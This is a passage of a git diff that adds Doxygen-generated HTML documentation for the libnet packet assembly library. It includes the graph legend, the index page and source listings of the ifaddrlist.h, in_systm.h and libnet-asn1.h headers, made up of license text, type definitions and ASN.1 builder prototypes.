+<span class="comment"></span>
+<span class="comment">/*! A template class */</span>
+<span class="keyword">template</span>&lt;<span class="keyword">class</span> T&gt; <span class="keyword">class </span>Templ { };
+<span class="comment"></span>
+<span class="comment">/*! Class that is inherited using protected inheritance */</span>
+<span class="keyword">class </span>ProtectedBase { };
+<span class="comment"></span>
+<span class="comment">/*! Class that is inherited using private inheritance */</span>
+<span class="keyword">class </span>PrivateBase { };
+<span class="comment"></span>
+<span class="comment">/*! Class that is used by the Inherited class */</span>
+<span class="keyword">class </span>Used { };
+<span class="comment"></span>
+<span class="comment">/*! Super class that inherits a number of other classes */</span>
+<span class="keyword">class </span>Inherited : <span class="keyword">public</span> PublicBase,
+ <span class="keyword">protected</span> ProtectedBase,
+ <span class="keyword">private</span> PrivateBase,
+ <span class="keyword">public</span> Undocumented
+ <span class="keyword">public</span> Templ&lt;int&gt;
+{
+ <span class="keyword">private</span>:
+ Used *m_usedClass;
+};
+</pre></div>If the <code>MAX_DOT_GRAPH_HEIGHT</code> tag in the configuration file is set to 240 this will result in the following graph:<p>
+<center><div align="center">
+<img src="graph_legend.png" alt="graph_legend.png">
+</div>
+</center> <p>
+The boxes in the above graph have the following meaning: <ul>
+<li>
+A filled black box represents the struct or class for which the graph is generated. </li>
+<li>
+A box with a black border denotes a documented struct or class. </li>
+<li>
+A box with a grey border denotes an undocumented struct or class. </li>
+<li>
+A box with a red border denotes a documented struct or class forwhich not all inheritance/containment relations are shown. A graph is truncated if it does not fit within the specified boundaries. </li>
+</ul>
+The arrows have the following meaning: <ul>
+<li>
+A dark blue arrow is used to visualize a public inheritance relation between two classes. </li>
+<li>
+A dark green arrow is used for protected inheritance. </li>
+<li>
+A dark red arrow is used for private inheritance. </li>
+<li>
+A purple dashed arrow is used if a class is contained or used by another class. The arrow is labeled with the variable(s) through which the pointed class or struct is accessible. </li>
+<li>
+A yellow dashed arrow denotes a relation between a template instance and the template class it was instantiated from. The arrow is labeled with the template parameters of the instance. </li>
+</ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/ifaddrlist_8h-source.html b/libnet/doc/html/ifaddrlist_8h-source.html
new file mode 100644
index 0000000..35603cc
--- /dev/null
+++ b/libnet/doc/html/ifaddrlist_8h-source.html
@@ -0,0 +1,65 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: ifaddrlist.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>ifaddrlist.h</h1><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * Copyright (c) 1997</span>
+00003 <span class="comment"> * The Regents of the University of California. All rights reserved.</span>
+00004 <span class="comment"> *</span>
+00005 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00006 <span class="comment"> * modification, are permitted provided that: (1) source code distributions</span>
+00007 <span class="comment"> * retain the above copyright notice and this paragraph in its entirety, (2)</span>
+00008 <span class="comment"> * distributions including binary code include the above copyright notice and</span>
+00009 <span class="comment"> * this paragraph in its entirety in the documentation or other materials</span>
+00010 <span class="comment"> * provided with the distribution, and (3) all advertising materials mentioning</span>
+00011 <span class="comment"> * features or use of this software display the following acknowledgement:</span>
+00012 <span class="comment"> * ``This product includes software developed by the University of California,</span>
+00013 <span class="comment"> * Lawrence Berkeley Laboratory and its contributors.'' Neither the name of</span>
+00014 <span class="comment"> * the University nor the names of its contributors may be used to endorse</span>
+00015 <span class="comment"> * or promote products derived from this software without specific prior</span>
+00016 <span class="comment"> * written permission.</span>
+00017 <span class="comment"> * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED</span>
+00018 <span class="comment"> * WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF</span>
+00019 <span class="comment"> * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.</span>
+00020 <span class="comment"> *</span>
+00021 <span class="comment"> */</span>
+00022
+00023 <span class="keyword">struct </span>ifaddrlist
+00024 {
+00025 <span class="preprocessor">#if (HAVE_SOLARIS || HAVE_HPUX11)</span>
+00026 <span class="preprocessor"></span> u_int addr;
+00027 <span class="preprocessor">#else</span>
+00028 <span class="preprocessor"></span> u_int32_t addr;
+00029 <span class="preprocessor">#endif</span>
+00030 <span class="preprocessor"></span> int8_t *device;
+00031 };
+00032
+00033 <span class="keyword">struct </span>libnet_ifaddr_list
+00034 {
+00035 u_int32_t addr;
+00036 int8_t *device;
+00037 };
+00038
+00039 <span class="keywordtype">int</span>
+00040 ifaddrlist(
+00041 <span class="keyword">struct</span> ifaddrlist **,
+00042 int8_t *
+00043 );
+00044
+00045
+00046 <span class="keywordtype">int</span>
+00047 set_up_interface(
+00048 <span class="keyword">struct</span> sockaddr_in **,
+00049 u_int8_t **
+00050 );
+00051
+00052 <span class="comment">/* EOF */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/in__systm_8h-source.html b/libnet/doc/html/in__systm_8h-source.html
new file mode 100644
index 0000000..b57135e
--- /dev/null
+++ b/libnet/doc/html/in__systm_8h-source.html
@@ -0,0 +1,90 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: in_systm.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>in_systm.h</h1><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * Copyright (c) 1982, 1986, 1993</span>
+00003 <span class="comment"> * The Regents of the University of California. All rights reserved.</span>
+00004 <span class="comment"> *</span>
+00005 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00006 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00007 <span class="comment"> * are met:</span>
+00008 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00009 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00010 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00011 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00012 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00013 <span class="comment"> * 3. All advertising materials mentioning features or use of this software</span>
+00014 <span class="comment"> * must display the following acknowledgement:</span>
+00015 <span class="comment"> * This product includes software developed by the University of</span>
+00016 <span class="comment"> * California, Berkeley and its contributors.</span>
+00017 <span class="comment"> * 4. Neither the name of the University nor the names of its contributors</span>
+00018 <span class="comment"> * may be used to endorse or promote products derived from this software</span>
+00019 <span class="comment"> * without specific prior written permission.</span>
+00020 <span class="comment"> *</span>
+00021 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND</span>
+00022 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00023 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00024 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE</span>
+00025 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00026 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00027 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00028 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00029 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00030 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00031 <span class="comment"> * SUCH DAMAGE.</span>
+00032 <span class="comment"> *</span>
+00033 <span class="comment"> * @(#)in_systm.h 8.1 (Berkeley) 6/10/93</span>
+00034 <span class="comment"> * $FreeBSD: src/sys/netinet/in_systm.h,v 1.9 1999/12/29 04:41:00 peter Exp $</span>
+00035 <span class="comment"> */</span>
+00036
+00037 <span class="preprocessor">#ifdef _WIN32</span>
+00038 <span class="preprocessor"></span><span class="preprocessor">#ifndef _NETINET_IN_SYSTM_H_</span>
+00039 <span class="preprocessor"></span><span class="preprocessor">#define _NETINET_IN_SYSTM_H_</span>
+00040 <span class="preprocessor"></span>
+00041 <span class="keyword">typedef</span> <span class="keywordtype">unsigned</span> <span class="keywordtype">char</span> u_int8_t;
+00042 <span class="keyword">typedef</span> <span class="keywordtype">unsigned</span> <span class="keywordtype">short</span> u_int16_t;
+00043 <span class="keyword">typedef</span> <span class="keywordtype">unsigned</span> <span class="keywordtype">int</span> u_int32_t;
+00044 <span class="keyword">typedef</span> <span class="keywordtype">unsigned</span> __int64 u_int64_t;
+00045
+00046 <span class="keyword">typedef</span> __int64 int64_t;
+00047 <span class="keyword">typedef</span> int64_t rlim_t;
+00048
+00049
+00050 <span class="keyword">typedef</span> u_int32_t in_addr_t;
+00051 <span class="keyword">typedef</span> u_int32_t in_port_t;
+00052
+00053 <span class="comment">/*</span>
+00054 <span class="comment"> * Miscellaneous internetwork</span>
+00055 <span class="comment"> * definitions for kernel.</span>
+00056 <span class="comment"> */</span>
+00057
+00058 <span class="comment">/*</span>
+00059 <span class="comment"> * Network types.</span>
+00060 <span class="comment"> *</span>
+00061 <span class="comment"> * Internally the system keeps counters in the headers with the bytes</span>
+00062 <span class="comment"> * swapped so that VAX instructions will work on them. It reverses</span>
+00063 <span class="comment"> * the bytes before transmission at each protocol level. The n_ types</span>
+00064 <span class="comment"> * represent the types with the bytes in ``high-ender'' order.</span>
+00065 <span class="comment"> */</span>
+00066 <span class="keyword">typedef</span> u_int16_t n_short; <span class="comment">/* short as received from the net */</span>
+00067 <span class="keyword">typedef</span> u_int32_t n_long; <span class="comment">/* long as received from the net */</span>
+00068
+00069 <span class="keyword">typedef</span> u_int32_t n_time; <span class="comment">/* ms since 00:00 GMT, byte rev */</span>
+00070
+00071 <span class="preprocessor">#ifdef _KERNEL</span>
+00072 <span class="preprocessor"></span>n_time iptime __P((<span class="keywordtype">void</span>));
+00073 <span class="preprocessor">#endif</span>
+00074 <span class="preprocessor"></span>
+00075 <span class="preprocessor">#endif</span>
+00076 <span class="preprocessor"></span>
+00077 <span class="preprocessor">#endif</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/index.html b/libnet/doc/html/index.html
new file mode 100644
index 0000000..13391c0
--- /dev/null
+++ b/libnet/doc/html/index.html
@@ -0,0 +1,17 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: Libnet Packet Assembly Library</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindexHL" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>Libnet Packet Assembly Library </h1>
+<p>
+<h3 align="center">1.1.1 </h3><h2><a class="anchor" name="intro">
+Overview</a></h2>
+Libnet is a high-level API (toolkit) allowing the application programmer to construct and inject network packets. It provides a portable and simplified interface for low-level network packet shaping, handling and injection. Libnet hides much of the tedium of packet creation from the application programmer such as multiplexing, buffer management, arcane packet header information, byte-ordering, OS-dependent issues, and much more. Libnet features portable packet creation interfaces at the IP layer and link layer, as well as a host of supplementary and complementary functionality. Using libnet, quick and simple packet assembly applications can be whipped up with little effort. With a bit more time, more complex programs can be written (Traceroute and ping were easily rewritten using libnet and <a href="www.tcpdump.org">libpcap</a>). <hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-asn1_8h-source.html b/libnet/doc/html/libnet-asn1_8h-source.html
new file mode 100644
index 0000000..ddf6d2a
--- /dev/null
+++ b/libnet/doc/html/libnet-asn1_8h-source.html
@@ -0,0 +1,268 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-asn1.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet-asn1.h</h1><div class="fragment"><pre>00001 <span class="comment">/*</span>
+00002 <span class="comment"> * $Id: libnet-asn1.h,v 1.3 2004/01/17 07:51:19 mike Exp $</span>
+00003 <span class="comment"> *</span>
+00004 <span class="comment"> * libnet-asn1.h - Network routine library ASN.1 header file</span>
+00005 <span class="comment"> *</span>
+00006 <span class="comment"> * Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment"> * All rights reserved.</span>
+00008 <span class="comment"> *</span>
+00009 <span class="comment"> * Definitions for Abstract Syntax Notation One, ASN.1</span>
+00010 <span class="comment"> * As defined in ISO/IS 8824 and ISO/IS 8825</span>
+00011 <span class="comment"> *</span>
+00012 <span class="comment"> * Copyright 1988, 1989 by Carnegie Mellon University</span>
+00013 <span class="comment"> * All rights reserved.</span>
+00014 <span class="comment"> *</span>
+00015 <span class="comment"> * Permission to use, copy, modify, and distribute this software and its</span>
+00016 <span class="comment"> * documentation for any purpose and without fee is hereby granted,</span>
+00017 <span class="comment"> * provided that the above copyright notice appear in all copies and that</span>
+00018 <span class="comment"> * both that copyright notice and this permission notice appear in</span>
+00019 <span class="comment"> * supporting documentation, and that the name of CMU not be</span>
+00020 <span class="comment"> * used in advertising or publicity pertaining to distribution of the</span>
+00021 <span class="comment"> * software without specific, written prior permission.</span>
+00022 <span class="comment"> *</span>
+00023 <span class="comment"> * CMU DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING</span>
+00024 <span class="comment"> * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL</span>
+00025 <span class="comment"> * CMU BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR</span>
+00026 <span class="comment"> * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,</span>
+00027 <span class="comment"> * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION,</span>
+00028 <span class="comment"> * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS</span>
+00029 <span class="comment"> * SOFTWARE.</span>
+00030 <span class="comment"> *</span>
+00031 <span class="comment"> * Copyright (c) 1998 - 2001 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00032 <span class="comment"> * All rights reserved.</span>
+00033 <span class="comment"> *</span>
+00034 <span class="comment"> * Redistribution and use in source and binary forms, with or without</span>
+00035 <span class="comment"> * modification, are permitted provided that the following conditions</span>
+00036 <span class="comment"> * are met:</span>
+00037 <span class="comment"> * 1. Redistributions of source code must retain the above copyright</span>
+00038 <span class="comment"> * notice, this list of conditions and the following disclaimer.</span>
+00039 <span class="comment"> * 2. Redistributions in binary form must reproduce the above copyright</span>
+00040 <span class="comment"> * notice, this list of conditions and the following disclaimer in the</span>
+00041 <span class="comment"> * documentation and/or other materials provided with the distribution.</span>
+00042 <span class="comment"> *</span>
+00043 <span class="comment"> * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND</span>
+00044 <span class="comment"> * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE</span>
+00045 <span class="comment"> * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE</span>
+00046 <span class="comment"> * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE</span>
+00047 <span class="comment"> * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL</span>
+00048 <span class="comment"> * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS</span>
+00049 <span class="comment"> * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)</span>
+00050 <span class="comment"> * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT</span>
+00051 <span class="comment"> * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY</span>
+00052 <span class="comment"> * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF</span>
+00053 <span class="comment"> * SUCH DAMAGE.</span>
+00054 <span class="comment"> */</span>
+00055
+00056 <span class="preprocessor">#ifndef __LIBNET_ASN1_H</span>
+00057 <span class="preprocessor"></span><span class="preprocessor">#define __LIBNET_ASN1_H</span>
+00058 <span class="preprocessor"></span>
+00059 <span class="preprocessor">#ifndef EIGHTBIT_SUBIDS</span>
+00060 <span class="preprocessor"></span><span class="keyword">typedef</span> u_int32_t oid;
+00061 <span class="preprocessor">#define MAX_SUBID 0xFFFFFFFF</span>
+00062 <span class="preprocessor"></span><span class="preprocessor">#else</span>
+00063 <span class="preprocessor"></span><span class="keyword">typedef</span> u_int8_t oid;
+00064 <span class="preprocessor">#define MAX_SUBID 0xFF</span>
+00065 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00066 <span class="preprocessor"></span>
+00067 <span class="preprocessor">#define MAX_OID_LEN 64 </span><span class="comment">/* max subid's in an oid */</span>
+00068
+00069 <span class="preprocessor">#define ASN_BOOLEAN (0x01)</span>
+00070 <span class="preprocessor"></span><span class="preprocessor">#define ASN_INTEGER (0x02)</span>
+00071 <span class="preprocessor"></span><span class="preprocessor">#define ASN_BIT_STR (0x03)</span>
+00072 <span class="preprocessor"></span><span class="preprocessor">#define ASN_OCTET_STR (0x04)</span>
+00073 <span class="preprocessor"></span><span class="preprocessor">#define ASN_NULL (0x05)</span>
+00074 <span class="preprocessor"></span><span class="preprocessor">#define ASN_OBJECT_ID (0x06)</span>
+00075 <span class="preprocessor"></span><span class="preprocessor">#define ASN_SEQUENCE (0x10)</span>
+00076 <span class="preprocessor"></span><span class="preprocessor">#define ASN_SET (0x11)</span>
+00077 <span class="preprocessor"></span>
+00078 <span class="preprocessor">#define ASN_UNIVERSAL (0x00)</span>
+00079 <span class="preprocessor"></span><span class="preprocessor">#define ASN_APPLICATION (0x40)</span>
+00080 <span class="preprocessor"></span><span class="preprocessor">#define ASN_CONTEXT (0x80)</span>
+00081 <span class="preprocessor"></span><span class="preprocessor">#define ASN_PRIVATE (0xC0)</span>
+00082 <span class="preprocessor"></span>
+00083 <span class="preprocessor">#define ASN_PRIMITIVE (0x00)</span>
+00084 <span class="preprocessor"></span><span class="preprocessor">#define ASN_CONSTRUCTOR (0x20)</span>
+00085 <span class="preprocessor"></span>
+00086 <span class="preprocessor">#define ASN_LONG_LEN (0x80)</span>
+00087 <span class="preprocessor"></span><span class="preprocessor">#define ASN_EXTENSION_ID (0x1F)</span>
+00088 <span class="preprocessor"></span><span class="preprocessor">#define ASN_BIT8 (0x80)</span>
+00089 <span class="preprocessor"></span>
+00090 <span class="preprocessor">#define IS_CONSTRUCTOR(byte) ((byte) &amp; ASN_CONSTRUCTOR)</span>
+00091 <span class="preprocessor"></span><span class="preprocessor">#define IS_EXTENSION_ID(byte) (((byte) &amp; ASN_EXTENSION_ID) = ASN_EXTENSION_ID)</span>
+00092 <span class="preprocessor"></span>
+00093 <span class="comment">/*</span>
+00094 <span class="comment"> * All of the build_asn1_* (build_asn1_length being an exception) functions</span>
+00095 <span class="comment"> * take the same first 3 arguments:</span>
+00096 <span class="comment"> *</span>
+00097 <span class="comment"> * u_int8_t *data: This is a pointer to the start of the data object to be</span>
+00098 <span class="comment"> * manipulated.</span>
+00099 <span class="comment"> * int *datalen: This is a pointer to the number of valid bytes following</span>
+00100 <span class="comment"> * "data". This should be not be exceeded in any function.</span>
+00101 <span class="comment"> * Upon exiting a function, this value will reflect the</span>
+00102 <span class="comment"> * changed "data" and then refer to the new number of valid</span>
+00103 <span class="comment"> * bytes until the end of "data".</span>
+00104 <span class="comment"> * u_int8_t type: The ASN.1 object type.</span>
+00105 <span class="comment"> */</span>
+00106
+00107
+00108 <span class="comment">/*</span>
+00109 <span class="comment"> * Builds an ASN object containing an integer.</span>
+00110 <span class="comment"> *</span>
+00111 <span class="comment"> * Returns NULL upon error or a pointer to the first byte past the end of</span>
+00112 <span class="comment"> * this object (the start of the next object).</span>
+00113 <span class="comment"> */</span>
+00114
+00115 u_int8_t *
+00116 libnet_build_asn1_int(
+00117 u_int8_t *, <span class="comment">/* Pointer to the output buffer */</span>
+00118 <span class="keywordtype">int</span> *, <span class="comment">/* Number of valid bytes left in the buffer */</span>
+00119 u_int8_t, <span class="comment">/* ASN object type */</span>
+00120 int32_t *, <span class="comment">/* Pointer to a int32_t integer */</span>
+00121 <span class="keywordtype">int</span> <span class="comment">/* Size of a int32_t integer */</span>
+00122 );
+00123
+00124
+00125 <span class="comment">/*</span>
+00126 <span class="comment"> * Builds an ASN object containing an unsigned integer.</span>
+00127 <span class="comment"> *</span>
+00128 <span class="comment"> * Returns NULL upon error or a pointer to the first byte past the end of</span>
+00129 <span class="comment"> * this object (the start of the next object).</span>
+00130 <span class="comment"> */</span>
+00131
+00132 u_int8_t *
+00133 libnet_build_asn1_uint(
+00134 u_int8_t *, <span class="comment">/* Pointer to the output buffer */</span>
+00135 <span class="keywordtype">int</span> *, <span class="comment">/* Number of valid bytes left in the buffer */</span>
+00136 u_int8_t, <span class="comment">/* ASN object type */</span>
+00137 u_int32_t *, <span class="comment">/* Pointer to an unsigned int32_t integer */</span>
+00138 <span class="keywordtype">int</span> <span class="comment">/* Size of a int32_t integer */</span>
+00139 );
+00140
+00141
+00142 <span class="comment">/*</span>
+00143 <span class="comment"> * Builds an ASN object containing an octect string.</span>
+00144 <span class="comment"> *</span>
+00145 <span class="comment"> * Returns NULL upon error or a pointer to the first byte past the end of</span>
+00146 <span class="comment"> * this object (the start of the next object).</span>
+00147 <span class="comment"> */</span>
+00148
+00149 u_int8_t *
+00150 libnet_build_asn1_string(
+00151 u_int8_t *, <span class="comment">/* Pointer to the output buffer */</span>
+00152 <span class="keywordtype">int</span> *, <span class="comment">/* Number of valid bytes left in the buffer */</span>
+00153 u_int8_t, <span class="comment">/* ASN object type */</span>
+00154 u_int8_t *, <span class="comment">/* Pointer to a string to be built into an object */</span>
+00155 <span class="keywordtype">int</span> <span class="comment">/* Size of the string */</span>
+00156 );
+00157
+00158
+00159 <span class="comment">/*</span>
+00160 <span class="comment"> * Builds an ASN header for an object with the ID and length specified. This</span>
+00161 <span class="comment"> * only works on data types &lt; 30, i.e. no extension octets. The maximum</span>
+00162 <span class="comment"> * length is 0xFFFF;</span>
+00163 <span class="comment"> *</span>
+00164 <span class="comment"> * Returns a pointer to the first byte of the contents of this object or</span>
+00165 <span class="comment"> * NULL upon error</span>
+00166 <span class="comment"> */</span>
+00167
+00168 u_int8_t *
+00169 libnet_build_asn1_header(
+00170 u_int8_t *, <span class="comment">/* Pointer to the start of the object */</span>
+00171 <span class="keywordtype">int</span> *, <span class="comment">/* Number of valid bytes left in buffer */</span>
+00172 u_int8_t, <span class="comment">/* ASN object type */</span>
+00173 <span class="keywordtype">int</span> <span class="comment">/* ASN object length */</span>
+00174 );
+00175
+00176
+00177 u_int8_t *
+00178 libnet_build_asn1_length(
+00179 u_int8_t *, <span class="comment">/* Pointer to start of object */</span>
+00180 <span class="keywordtype">int</span> *, <span class="comment">/* Number of valid bytes in buffer */</span>
+00181 <span class="keywordtype">int</span> <span class="comment">/* Length of object */</span>
+00182 );
+00183
+00184
+00185 <span class="comment">/*</span>
+00186 <span class="comment"> * Builds an ASN header for a sequence with the ID and length specified.</span>
+00187 <span class="comment"> *</span>
+00188 <span class="comment"> * This only works on data types &lt; 30, i.e. no extension octets.</span>
+00189 <span class="comment"> * The maximum length is 0xFFFF;</span>
+00190 <span class="comment"> *</span>
+00191 <span class="comment"> * Returns a pointer to the first byte of the contents of this object.</span>
+00192 <span class="comment"> * Returns NULL on any error.</span>
+00193 <span class="comment"> */</span>
+00194
+00195 u_int8_t *
+00196 libnet_build_asn1_sequence(
+00197 u_int8_t *,
+00198 <span class="keywordtype">int</span> *,
+00199 u_int8_t,
+00200 <span class="keywordtype">int</span>
+00201 );
+00202
+00203
+00204 <span class="comment">/*</span>
+00205 <span class="comment"> * Builds an ASN object identifier object containing the input string.</span>
+00206 <span class="comment"> *</span>
+00207 <span class="comment"> * Returns NULL upon error or a pointer to the first byte past the end of</span>
+00208 <span class="comment"> * this object (the start of the next object).</span>
+00209 <span class="comment"> */</span>
+00210
+00211 u_int8_t *
+00212 libnet_build_asn1_objid(
+00213 u_int8_t *,
+00214 <span class="keywordtype">int</span> *,
+00215 u_int8_t,
+00216 oid *,
+00217 <span class="keywordtype">int</span>
+00218 );
+00219
+00220
+00221 <span class="comment">/*</span>
+00222 <span class="comment"> * Builds an ASN null object.</span>
+00223 <span class="comment"> *</span>
+00224 <span class="comment"> * Returns NULL upon error or a pointer to the first byte past the end of</span>
+00225 <span class="comment"> * this object (the start of the next object).</span>
+00226 <span class="comment"> */</span>
+00227
+00228 u_int8_t *
+00229 libnet_build_asn1_null(
+00230 u_int8_t *,
+00231 <span class="keywordtype">int</span> *,
+00232 u_int8_t
+00233 );
+00234
+00235
+00236 <span class="comment">/*</span>
+00237 <span class="comment"> * Builds an ASN bitstring.</span>
+00238 <span class="comment"> *</span>
+00239 <span class="comment"> * Returns NULL upon error or a pointer to the first byte past the end of</span>
+00240 <span class="comment"> * this object (the start of the next object).</span>
+00241 <span class="comment"> */</span>
+00242
+00243 u_int8_t *
+00244 libnet_build_asn1_bitstring(
+00245 u_int8_t *,
+00246 <span class="keywordtype">int</span> *,
+00247 u_int8_t,
+00248 u_int8_t *, <span class="comment">/* Pointer to the input buffer */</span>
+00249 <span class="keywordtype">int</span> <span class="comment">/* Length of the input buffer */</span>
+00250 );
+00251
+00252
+00253 <span class="preprocessor">#endif </span><span class="comment">/* __LIBNET_ASN1_H */</span>
+00254
+00255 <span class="comment">/* EOF */</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/libnet-functions_8h-source.html b/libnet/doc/html/libnet-functions_8h-source.html
new file mode 100644
index 0000000..e7b2151
--- /dev/null
+++ b/libnet/doc/html/libnet-functions_8h-source.html
@@ -0,0 +1,742 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: libnet-functions.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
